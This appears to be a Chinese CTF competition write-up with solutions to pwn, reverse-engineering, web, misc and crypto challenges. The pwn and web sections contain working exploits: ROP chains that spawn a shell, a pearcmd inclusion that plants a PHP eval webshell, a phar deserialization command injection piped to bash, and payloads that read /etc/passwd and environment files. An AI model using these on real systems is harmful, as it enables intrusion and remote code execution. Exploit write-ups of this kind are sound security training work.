PWN

FileEditor

from pwn import *
context.log_level="debug"
#p=process("./pwn")
p=remote("node4.buuoj.cn",28043)
elf=ELF("./pwn")
libc=elf.libc

p.recvuntil("> choose:")
p.sendline(str(1))

p.recvuntil("> choose:")
p.sendline(str(3))
p.sendlineafter("> To insert m lines before line n, please enter n m:",str(1))
p.sendline(str(1))
payload=b"b"+b"a"*103
p.sendlineafter("> Please enter the content to be inserted in sequence:",payload)

p.recvuntil("> choose:")
p.sendline(str(3))
p.sendlineafter("> To insert m lines before line n, please enter n m:",str(1))
p.sendline(str(1))
payload=b"b"+b"a"*103
p.sendlineafter("> Please enter the content to be inserted in sequence:",payload)

p.recvuntil("> choose:")
p.sendline(str(7))
p.sendlineafter("> Please enter the string to search for:","b")
p.sendlineafter("> Do you want to continue searching? (y/n)","n")

p.recvuntil("> choose:")
p.sendline(str(6))
p.sendlineafter("> Please enter the line number to be modified:","1")
payload="b"+"a"*103
p.sendlineafter("> Please enter the new content:",payload)

p.recvuntil("> choose:")
p.sendline(str(2))
p.recvuntil("1:baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
canary=u64(p.recv(8))-0xa
print(hex(canary))

p.recvuntil("> choose:")
p.sendline(str(6))
p.sendlineafter("> Please enter the line number to be modified:","1")
payload=b"b"+b"a"*103+p64(canary+0x10)+p64(0x4141414141414141)
p.sendlineafter("> Please enter the new content:",payload)

p.recvuntil("> choose:")
p.sendline(str(2))
p.recvuntil("AAAAAAAA")
pie_leak=u64(p.recv(6).ljust(8,b'\x00'))-(0x55b41e93c50a-0x55b41e93b000)
print(hex(pie_leak))

p.recvuntil("> choose:")
p.sendline(str(6))
p.sendlineafter("> Please enter the line number to be modified:","1")
payload=b"b"+b"a"*103+p64(canary+0x10)+p64(0x4141414141414141)*3+b"BBBBBBBB"
p.sendlineafter("> Please enter the new content:",payload)

p.recvuntil("> choose:")
p.sendline(str(2))
p.recvuntil("BBBBBBBB")
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-(0x56112ef1820a-0x56112ef18000)
print(hex(heap_base))

p.recvuntil("> choose:")
p.sendline(str(6))
p.sendlineafter("> Please enter the line number to be modified:","1")
payload=b"b"+b"a"*103+p64(canary+0x10)+p64(0x4141414141414141)*3+b"BBBBBBBB"*3+b"CCCCCCCC"
p.sendlineafter("> Please enter the new content:",payload)

p.recvuntil("> choose:")
p.sendline(str(2))
p.recvuntil("CCCCCCCC")
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-(0x7fcf5ac6c00a-0x7fcf5ac48000)
print(hex(libc_base))

rop=b""
pop_rdi=pie_leak+0x0000000000002ac3
pop_rsi_r15=pie_leak+0x0000000000002ac1
ret=0x2351+pie_leak
rop+=p64(ret)+p64(pop_rdi)+p64(0x16b4+heap_base)+p64(libc_base+libc.sym['system'])

p.recvuntil("> choose:")
p.sendline(str(6))
p.sendlineafter("> Please enter the line number to be modified:","1")
payload=b"b"+b"a"*(103-8)+b"/bin/sh\x00"+p64(canary)+p64(0)+rop
p.sendlineafter("> Please enter the new content:",payload)

p.recvuntil("> choose:")
p.sendline(str(7))
p.sendlineafter("> Please enter the string to search for:","b")
p.sendlineafter("> Do you want to continue searching? (y/n)","n")	

p.interactive()

VIPhouse

login()函数存在栈溢出漏洞。

unsigned __int64 login()
{
  char s[100]; // [rsp+0h] [rbp-2A0h] BYREF
  int v2; // [rsp+64h] [rbp-23Ch] BYREF
  char v3[64]; // [rsp+258h] [rbp-48h] BYREF
  unsigned __int64 v4; // [rsp+298h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(&v2, 0, 0x1F4uLL);
  memset(v3, 0, sizeof(v3));
  memset(s, 0, sizeof(s));
  printf("Please enter your username: ");
  readn((__int64)s, 99);
  printf("Please enter your password: ");
  // .text:0000000000401A46 E8 9F FC FF FF                call    readn
  readn((__int64)v3, 104);                      // stack overflow
  if ( !strcmp(s, "admin") && !strcmp(v3, "root") )
  {
    puts("Welcome, ADMIN~");
    auth = 1;
  }
  dword_404114 = 1;
  return v4 - __readfsqword(0x28u);
}

leak()函数中strcpy存在0字节截断情况,这种情况下s的值为"\0\0\0\0\0\0\0\0"。可以对随机数进行爆破,概率为1/256。

unsigned __int64 leak()
{
  char s[8]; // [rsp+0h] [rbp-30h] BYREF
  char v2[16]; // [rsp+8h] [rbp-28h] BYREF
  int i; // [rsp+18h] [rbp-18h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  memset(v2, 0, sizeof(v2));
  // .text:00000000004014D9 E8 C2 FC FF FF                call    _strcpy
  strcpy(s, random_key_8);
  puts("Please input the number you guess: ");
  readn(v2, 16LL);
  for ( i = 0; i <= 7; ++i )
  {
    if ( v2[i] != s[i] )
    {
      printf("Wrong input: %s\n", v2);
      puts("You can't do anything!");
      return v4 - __readfsqword(0x28u);
    }
  }
  if ( auth )
  {
    printf("I'll give you a gift!");
    sub_4015A7();
  }
  return v4 - __readfsqword(0x28u);
}

利用脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

while(True):
    sh = remote('124.223.159.125', 9999)
    sh.sendlineafter(b': ', b'1')
    sh.sendlineafter(b': ', b'admin\0')
    sh.sendlineafter(b': ', b'root\0')
    sh.sendlineafter(b': ', b'4')
    sh.sendafter(b': \n', b'\0' * 0x10)
    result = sh.recvuntil(b'\n')
    if b'give you a gif' in result:
        break
    else:
        sh.close()

canary = int(result.split(b'!')[1], 16)
success('canary: ' + hex(canary))

sh.sendlineafter(b': ', b'5')
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b': ', b'admin\0')
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
    0x404128+0x2a0,
    0x401991,
]))
sh.sendlineafter(b': ', p64(0x404048))
sh.sendafter(b': ', cyclic(64) + p64(canary) + flat([
    0x4043d8,
    0x4017F2,

    0x404f00,
    0x401991,
])[:99])
sh.send(p64(0x4011B0))

sh.sendlineafter(b': ', b'admin\0')
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
    0x404128+0x2a0,
    0x401991,
]))

sh.sendlineafter(b': ', p64(0x404038))
sh.sendafter(b': ', cyclic(64) + p64(canary) + flat([
    0x4043d8,
    0x4017F2,

    0x404f00,
    0x401991,
])[:99])
sh.send(p64(0x000000000040139d))

sh.sendlineafter(b': ', flat([
    0x404060+0xe,
    0x4015D0,
    0x401982,
]))
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
    0x404c60,
    0x000000000040147b,
]))
sh.recvuntil(b'\n')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x114980
success('libc_addr: ' + hex(libc_addr))

sh.sendlineafter(b': ', flat([
    0,
    0x000000000040101a,
    libc_addr + 0x000000000002a3e5,
    libc_addr + 0x1d8698,
    libc_addr + 0x50d60,
]))
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
    0x4049d0,
    0x000000000040147b,
])[:99])

sh.sendline(b'cat flag')
sh.sendline(b'cat flag.txt')
sh.sendline(b'cat /flag')
sh.sendline(b'cat /flag.txt')

sh.interactive()

RE

controlflow

程序通过改变栈里面的返回地址来控制程序的控制流 从而达到混淆的效果

左侧有许多被hook的函数

在每个函数开头设置断点 然后观察程序的运行流程

会发现输入的数据会进行

异或 相加 异或 相减  相乘 异或等操作

要注意部分运算的索引是 从[10]开始的

理清流程后写脚本解密

print("a"*40)
enc=[0x00000CCF, 0x00000CC0, 0x00000CFC, 0x00000CD8, 0x00000D23, 0x00000D11, 0x00000DC8, 0x00000D7D,

    0x00000DAA, 0x00000E2B, 0x00000E7C, 0x00000E5B, 0x00000EA9, 0x00000ECA, 0x00000F5A, 0x00000F5A,

    0x00000FB1, 0x0000104D, 0x00001095, 0x0000117C, 0x0000137D, 0x000012F3, 0x0000142E, 0x0000141C,

    0x00001233, 0x00001287, 0x000011F4, 0x00001758, 0x00001461, 0x0000122A, 0x00001782, 0x000017F7,

    0x00001911, 0x0000194D, 0x00001A10, 0x00001AEB, 0x00001B90, 0x00001CE6, 0x00001DE2, 0x00001ED2]

from z3 import *

input =[BitVec('input[%d]'%i,8) for i in range(40)]

buf = [0]*40

what = [0]*40

for index in range(40):

    buf[index] = input[index];

    buf[index] ^= 0x401;

for index in range(40):

    buf[index] += index * index;

for index in range(20):

    buf[index+10] ^= index * (index + 1);

  
  

for index in range(40):

    buf[index] -= index

for index in range(40):

    buf[index] *= 3

  
  
  

for i in range(0,20,2):

    buf[i+10] ^= buf[i+10 + 1]

    buf[i +10+ 1] ^= buf[i+10]

    buf[i+10] ^= buf[i+10 + 1]

S = Solver()

for i in range(40):

    #S.add(input[i]>32 ,input[i]<128)

    S.add(enc[i]==buf[i])

S.check()

ans = S.model()

print(ans)

for i in input:

    print(chr(ans[i].as_long()),end='')

TCP

程序类似于一个远控的木马 对于控制端发来的数据进行解密

而程序开头是一个RSA公钥加密体系传递密钥的方法

木马端口会在本地生成一个随机的密钥流  然后将密钥流8个为一组进行rsa加密

然后发送给控制端

而公钥就是开始的时候控制端发送给用户的

所以需要根据公钥 以及发送的密文

求出随机密钥流

求出来后 控制端发送的所有数据都会用这个密钥流进行解密

由于公钥的N很小 所有可以使用yafu分解

p = 1152921504606848051
q = 2152921504606847269
n = 0x1DE0B6B3A76408FC69F3467E8F0CE5F
c =  0x18A9F6A710996596AC28CDDEC32CD15
e = 0x10001

分解成功后就可以还原出密钥流

import gmpy2
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(hex(m))
#send0="4e74dc13cbf4fb89ced341f9cf7557010bb5e0b4327298731ca3bb82793b1300153ff0e5da7c78feeefd9b0d020cd100c5a674a453ca4ea4df4bfa9a71543801aa20e631adb6a41396ba9f049dddbf013d86befa3d4356d751d05545e525cd01"
c_list = [send0[i:i+32] for i in range(0,192,32)]
print(c_list)
for c in c_list:
    m = pow(int(hex2long(c),16),d,n)
    print(hex(m)[2:].rjust(16,'0'),end='')
print()

得到密钥流后 patch程序的ip地址为本地地址 然后写一个tcp连接脚本发送相关的数据

import socket
from time import sleep
HOST = '192.168.48.129'  # 监听的IP地址
PORT = 8787  # 监听的端口号
token = bytes.fromhex("5fcef0e867349fc68f40763a6b0bde0101000100000000000000000000000000")
#token = bytes.fromhex("0500000000000000070000000000000001000100000000000000000000000000")
exit_code=bytes.fromhex("fedb847213cb56c17919fb2dfedb847211cb56c17a19fb2dfedb8472")
#0000000000000005
rev1="16cb56c17a19fb2ddcdb8472"
rev2="..."
# 创建一个TCP socket对象
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定IP地址和端口号
try:
    server_socket.bind((HOST, PORT))
except:
    pass
# 开始监听,最多允许5个客户端同时连接
server_socket.listen(5)
print('服务器已启动,等待客户端连接...')
# 等待客户端连接
client_socket, address = server_socket.accept()
print(f'客户端 {address} 已连接')
client_socket.send(token)
# 接收客户端发送的数据
data = client_socket.recv(96)
print(data.hex())
sleep(1)
client_socket.send(bytes.fromhex(rev1))
sleep(1)
client_socket.send(bytes.fromhex(rev2))
x = input()
client_socket.send(exit_code)
client_socket.close()

然后在程序运行时要patch 正确的密钥流

然后程序就会正常运行 输入字符串后

程序之后会发送一段shellcode 

然后开始分析shellcode 

里面是一个xor运算和加法运算以及对比

使用z3解密就可以

print("a"*40)
xor_data=[573039729,2068632159,717331137,414644186,1516244569,2049100619,919112253,1370927258,1688461485,296739023,30793144,1104738571,1002227152,81432113,1583269909,2054573166,783479577,1266338844,1034668673,558606273,547807190,256263039,2127993122,914948610,488709921,1073398434,406513062,848785440,822400703,2034231719,1267232298,1395440271,1955380325,1984563338,1810084552,1324141149,1886180468,581713252,547584857,1427158147,]
add_data=[573039818,2068632210,717331147,414644232,1516244602,2049100644,919112317,1370927342,1688461551,296739105,30793160,1104738645,1002227208,81432201,1583269946,2054573218,783479602,1266338941,1034668710,558606359,547807239,256263047,2127993196,914948641,488709930,1073398455,406513083,848785517,822400741,2034231768,1267232363,1395440350,1955380377,1984563413,1810084630,1324141186,1886180521,581713294,547584879,1427158166,]
add_number = [i - j for i,j in zip(add_data,xor_data)]
xor_number = [i^ord('a') for i in xor_data]
high=[0x2227,0x7b4c,0x2ac1,0x18b6,0x5a60,0x7a22,0x36c8,0x51b6,0x64a3,0x11af,0x1d5,0x41d8,0x3bbc,0x4da,0x5e5e,0x7a76,0x2eb2,0x4b7a,0x3dab,0x214b,0x20a6,0xf46,0x7ed6,0x3689,0x1d21,0x3ffa,0x183a,0x3297,0x3104,0x793f,0x4b88,0x532c,0x748c,0x764a,0x6be3,0x4eec,0x706c,0x22ac,0x20a3,0x5510,]
low =[0xe4ad,0xd2b2,0x9afd,0xf826,0xe8d,0xcb85,0x8a67,0xb122,0xe100,0xe133,0xdd9f,0xf9a9,0xc5bf,0x8eba,0xc863,0x4c6e,0xf33a,0xcca9,0xcab5,0xa82b,0xdfcd,0x4333,0x996c,0x22d,0x1f37,0xc30a,0xe5b2,0x7081,0xd6ce,0xea25,0x6e4a,0xbb2a,0xbc99,0x903,0xb316,0xca2e,0xd48e,0x3d96,0x7b5f,0xb4b2,]
enc= [(i<<16)+j for i,j in zip(high,low)]
print(hex(enc[0]))
from z3 import *
input = [BitVec("input[%d]"%i,8) for i in range(40)]
for i in range(40):
    input[i]^=xor_number[i]
    input[i]+=add_number[i]
S = Solver()
for i in range(40):
    S.add(input[i] == enc[i])
S.check()
ans = S.model()
print(ans)
input[26] = 90
input[0] = 68
input[2] = 83
input[16] = 89
input[18] = 112
input[20] = 43
input[23] = 109
input[13] = 50
input[5] = 70
input[4] = 84
input[15] = 53
input[1] = 65
input[21] = 53
input[27] = 117
input[30] = 66
input[32] = 97
input[31] = 53
input[34] = 97
input[37] = 105
input[7] = 53
input[8] = 114
input[9] = 79
input[24] = 110
input[25] = 54
input[38] = 113
input[11] = 53
input[14] = 74
input[28] = 118
input[6] = 123
input[29] = 50
input[19] = 117
input[17] = 53
input[36] = 76
input[12] = 54
input[33] = 83
input[10] = 86
input[39] = 125
input[35] = 53
input[22] = 97
input[3] = 67
for i in input:
    print(chr(i),end='')

得到flag

WEB

EzFlask

看源码,有注册和登入两个路由

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

Python的原型链污染,看到index下的读取__file__,直接用原型链污染去覆盖

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

尝试unicode绕过__init__

{
  "username":"admin",
  "password":"123456",
  "\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{
      "__globals":{
            "__file__":"../../../etc/passwd"
     }
    }
  }
}

刷新首页,成功回显:

image-20230722171407005.png

找环境变量

{
  "username":"admin",
  "password":"123456",
  "\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{
      "__globals":{
            "__file__":"../../../proc/1/environ"
     }
    }
  }
}

读取flag

ez_cms

熊海cms

后台文件包含漏洞,弱口令登入后台,pearcmd文件包含

admin/123456

poc:

+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/1.php

image-20230722171856578.png

蚁剑链接,根目录flag

http://target/admin/index.php?r=../../../../../../../../tmp/1

image-20230722171718715.png

MyPicDisk

随便试了个payload,发现直接就能登录跳转

MyPicDisk1.png

跟进跳转包,发现注释里面藏了东西,下载到本地得到源码

MyPicDisk2.png

源码部分有三处关键点,这里都给标注出来了

  1. 文件上传处对文件名有类型校验
  2. FILE这个类里存在命令拼接可以进行RCE,但对拼接参数存在黑名单校验
  3. 当传入的todo参数为md5时,会调用md5_file 函数

MyPicDisk4.png

MyPicDisk5.png

MyPicDisk3.png

很自然的就能想到通过md5_file作为phar反序列化的入口来打

而对于FILE里对于filename参数的黑名单,这里采用base64编码+输出流重定向绕过

(之后就是再注意一下,由于我们的登录账户不是admin,每执行一次操作,session就会被销毁一次,所以在每次操作之前,都要记得把登录的包重新发一遍,重置session)

用来生成phar包的脚本如下,生成之后把后缀改成jpg上传即可

<?php
class FILE{
    public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>4.txt";
    public $lasttime;
    public $size;
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
}

#获取phar包
$phar = new Phar("abc.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new FILE();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

相关操作的数据包如下

MyPicDisk6.png

MyPicDisk7.png

MyPicDisk8.png

MyPicDisk9.png

最后得到flag

MISC

签到题

签到

ezFAT32

010打开img文件

image-20230722185508163

得到压缩包密码的hint,去提取一下bmp文件

刚开始还是手动提取的,还迷惑提取的精确度,搞忘掉了是取证题

R-studio 可以梭出来

202307221852182.png

bmp文件 计算一下sha256

202307221859273.png

拿到密码1bec3826d44f706d33e8cc4bc230d3113d0198261ff1cd251294dbdebabb0af5

打开flag就可

Coffee desu!

尝试了POST方法后 报错 并且给了几个方法

image-20230722190225437

202307221905918

去搜这个报错

https://datatracker.ietf.org/doc/html/rfc2324

对应上了You should add the milktea before getting the coffee!

202307221904589

202307221912193

题目要求加milktea

就加一个请求头

Accept-Additions: milktea

202307221913217

添加后GET访问即可

202307221900607

CRYPTO

ezDHKE

构造p-1光滑数,离散对数解决DH问题,AES解密得到flag

# SageMath
from Pwn4Sage.pwn import *
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import *

def gen_primes(nbit, imbalance):
    """
    :param nbit: 最终光滑数比特数
    :param imbalance: 最小单位比特数
    :return: 比特数
    """
    p = int(2)
    FACTORS = [p]
    while p.bit_length() < nbit - 2 * imbalance:
        factor = getPrime(imbalance)
        FACTORS.append(factor)
        p *= factor
    rbit = (nbit - p.bit_length()) // 2

    while True:
        r, s = [getPrime(rbit) for _ in '01']
        _p = p * r * s
        if _p.bit_length() < nbit: rbit += 1
        if _p.bit_length() > nbit: rbit -= 1
        if isPrime(_p + 1):
            FACTORS.extend((r, s))
            p = _p + 1
            break

    FACTORS.sort()
    return (p, FACTORS)
p = 1
while int(p).bit_length() != 1024:
    p = gen_primes(1024, 16)[0]
print('p =', p)

sh = remote(,)
sh.recv(1024)
sh.sendline(str(p).encode())
alice_c, bob_c = [int(i) for i in sh.recvline().split(b' ') if i]
enc = eval(sh.recvline())
print(alice_c, bob_c)
print(enc)

g = 2
alice = int(discrete_log(Mod(alice_c,p),Mod(g,p)))
key = sha256(long_to_bytes(int(pow(bob_c, alice, p)))).digest()
iv = b"dasctfdasctfdasc"
aes = AES.new(key, AES.MODE_CBC, iv)
flag = aes.decrypt(enc)
print(flag)

ezRSA

深搜得P、Q,后rsa解出n

import sys
import gmpy2
from Crypto.Util.number import *
from factordb.factordb import FactorDB

sys.setrecursionlimit(5000)

e = 11
D1 = '75000029602085996700582008490482326525611947919932949726582734167668021800854674616074297109962078048435714672088452939300776268788888016125632084529419230038436738761550906906671010312930801751000022200360857089338231002088730471277277319253053479367509575754258003761447489654232217266317081318035524086377 8006730615575401350470175601463518481685396114003290299131469001242636369747855817476589805833427855228149768949773065563676033514362512835553274555294034 14183763184495367653522884147951054630177015952745593358354098952173965560488104213517563098676028516541915855754066719475487503348914181674929072472238449853082118064823835322313680705889432313419976738694317594843046001448855575986413338142129464525633835911168202553914150009081557835620953018542067857943'
D2 = '69307306970629523181683439240748426263979206546157895088924929426911355406769672385984829784804673821643976780928024209092360092670457978154309402591145689825571209515868435608753923870043647892816574684663993415796465074027369407799009929334083395577490711236614662941070610575313972839165233651342137645009 46997465834324781573963709865566777091686340553483507705539161842460528999282057880362259416654012854237739527277448599755805614622531827257136959664035098209206110290879482726083191005164961200125296999449598766201435057091624225218351537278712880859703730566080874333989361396420522357001928540408351500991'
N, gift, c1 = [int(i) for i in D1.split()]
c2, c3 = [int(i) for i in D2.split()]

def findp(p, q):
    if len(p) == 512:
        pp = int(p, 2)
        if N % pp == 0:
            print(pp)
            print(N // pp)
    else:
        l = len(p)
        pp = int(p, 2)
        qq = int(q, 2)
        if (pp ^ (qq >> 16)) % (2 ** l) == gift % (2 ** l) and pp * qq % (2 ** l) == N % (2 ** l):
            findp('1' + p, '1' + q)
            findp('1' + p, '0' + q)
            findp('0' + p, '1' + q)
            findp('0' + p, '0' + q)


# for q_low in range(2 ** 17):
#     findp('1', bin(q_low)[2:])

P = 8006847171912577069085166877758626954304824756138758266557706391662987806065132448544117840031499707938227955094109779732609035310252723066470330862622641
Q = 9366986529377069783394625848920106951220134111548343265311677163992169555436421569730703291128771472885865288798344038000984911921843088200997725324682297
n = pow(c1, gmpy2.invert(e, (P-1)*(Q-1)), N)
n += N
print('n =', n)
print('e =', e)
print('c2 =', c2)
print('c3 =', c3)

明文线性攻击得到flag

# sage
from Crypto.Util.number import *

n = 83410392685813224685786027640778560521035854332627839979281105731457044069408118952629284089869335506983096270269822559619624906180108256504440296527471536363057103101146262613593336072556587341466840510200003498265457285439149541137127199088938421905041387224795918868443175561632999479925818053898100117419
e = 11
c2 = 69307306970629523181683439240748426263979206546157895088924929426911355406769672385984829784804673821643976780928024209092360092670457978154309402591145689825571209515868435608753923870043647892816574684663993415796465074027369407799009929334083395577490711236614662941070610575313972839165233651342137645009
c3 = 46997465834324781573963709865566777091686340553483507705539161842460528999282057880362259416654012854237739527277448599755805614622531827257136959664035098209206110290879482726083191005164961200125296999449598766201435057091624225218351537278712880859703730566080874333989361396420522357001928540408351500991

import libnum
def attack(c1, c2, n, e, mbit):
    PR.<x>=PolynomialRing(Zmod(n))
    g1 = (x)^e - c1
    g2 = (bytes_to_long(b"dasctf{")*2^(mbit+8) + x*2^8 + bytes_to_long(b"}"))^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()
    return -gcd(g1, g2)[0]
for mbit in range(93, 400):
    try:
        m = attack(c2, c3, n, e, mbit)
        flag = libnum.n2s(int(m)).decode()
        print(f"dasctf{{{flag}}}")  # dasctf{C0pper_Sm1th_Mak3s_T1ng5_Bet4er}
        break
    except:
        continue